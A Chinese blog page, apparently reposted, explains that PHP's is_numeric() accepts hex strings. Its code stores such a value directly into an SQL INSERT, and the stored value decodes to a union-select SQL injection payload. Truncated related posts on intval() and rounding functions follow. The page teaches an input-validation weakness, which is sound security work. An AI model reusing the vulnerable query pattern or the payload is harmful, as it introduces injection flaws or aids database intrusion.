PHP之intval()

Title:PHP之intval()  --2014-02-26 13:57

<?php
......
$a=‘0x2720616e6420313d3220756e696f6e2073656c656374207573657228292c322c332d2d2b‘;
//$a=$_REQUEST[‘a‘];
if(is_numeric($a))
{
intval($a);  //转也无用
$query_str="insert into tsa (strA) Values ($a)";
$con->query($query_str);
}
mysqli_close($con);
?>

  

入库后:

‘ and 1=2 union select user(),2,3--+

如图:

FROM:

http://worm.cc/Is_php_funciton_is_numberic_safe.html

时间: 2024-08-10 15:08:56

PHP之intval()的相关文章

intval()和int()

int intval ( mixed $var [, int $base ] )    通过使用特定的进制转换(默认是十进制),参数base表示进制,只有当var是字符串时,base才会有意义,表示按照base进制来对var进行转换,返回变量 var 的 integer 数值. intval()而言,如果参数是字符串,则返回字符串中第一个不是数字的字符之前的数字串所代表的整数值.如果字符串第一个是‘-',则从第二个开始算起.如果参数是符点数,则返回他取整之后的值. 当var是一个array时候,

intval()

intval函数有个特性:"直到遇上数字或正负符号才开始做转换,再遇到非数字或字符串结束时(\0)结束转换", 直接来看代码 <?php $var="20170204"; if (intval($var)) echo "it's safe"."<br />"; echo '$var='.$var; echo "<br>"; $var1="0 union select

PHP取整函数ceil,floor,round,intval的区别

ceil - 进一法取整 float ceil ( float $value ) 返回不小于 value 的下一个整数,value 如果有小数部分则进一位.ceil() 返回的类型仍然是 float,因为 float 值的范围通常比 integer 要大. floor - 舍去法取整 float floor ( float $value ) 返回不大于 value 的下一个整数,将 value 的小数部分舍去取整.floor() 返回的类型仍然是 float,因为 float 值的范围通常比 i

php取整函数ceil,floor,round,intval函数的区别

开发过程中,遇到数据处理取整的时候,你会用哪个呢,小涛来介绍一下:PHP取整函数有ceil,floor,round,intval,下面详细介绍一下: 1.ceil — 进一法取整说明float ceil ( float $value )返回不小于 value 的下一个整数,value 如果有小数部分则进一位.ceil() 返回的类型仍然是 float,因为 float 值的范围通常比 integer 要大.ceil() 例子 <?php echo ceil(4.3); // 5 echo cei

php取整函数floor(),round(),intval(),ceil()

ceil -- 进一法取整说明float ceil ( float value )返回不小于 value 的下一个整数,value 如果有小数部分则进一位.ceil() 返回的类型仍然是 float,因为 float 值的范围通常比 integer 要大. PHP取整函数例子 1. ceil() 例子 < ?php echo ceil(4.3); // 5 echo ceil(9.999); // 10 ?> floor -- 舍去法取整说明float floor ( float value

解析PHP中intval()等int转换时的意外异常情况

<?php$a = 9.45*100;var_dump($a);var_dump(intval($a));$a = 945*1.00;var_dump($a);var_dump(intval($a));?> 运行结果:float(945) int(944) float(945) int(945) 这个代码虽然把结果都告诉了,但是很多人还是看不懂,这样就解释不了为什么会有意想不到的转型情况发生.网上对这个情况讲的都模棱两可不知所云的.我在这里简单的解释下:9.45这个数字在我们看到的是这样的,但

浅谈intval()函数用法

1 <?php 2 $sql=mysql_query("select count(*) as total from tb_leaveword ",$conn); 3 $infos=mysql_fetch_array($sql); 4 $total=$infos['total']; //获取总留言条数 5 if($total==0){ //如果总留言条数为0,则给出提示 6 echo "<div align=center>对不起,暂无留言!</div&g

关于PHP浮点数之 intval((0.1+0.7)*10) 为什么是7

PHP是一种弱类型语言, 这样的特性, 必然要求有无缝透明的隐式类型转换, PHP内部使用zval来保存任意类型的数值, zval的结构如下(5.2为例): struct _zval_struct { /* Variable information */ zvalue_value value; /* value */ zend_uint refcount; zend_uchar type; /* active type */ zend_uchar is_ref; }; 上面的结构中, 实际保存数

php中对数字类型的处理是:ceil floor round intval&#160;sprintf number_format

1 <?php 2 //ceil — 进一法取整 3 //返回不小于 value 的下一个整数,value 如果有小数部分则进一位.ceil() 返回的类型仍然是 float,因为 float 值的范围通常比 integer 要大. 例子 1. ceil() 例子 4 echo ceil(4.3); // 5 5 echo ceil(9.999); // 10 6 7 //floor — 舍去法取整 8 //返回不大于 value 的下一个整数,将 value 的小数部分舍去取整.floor()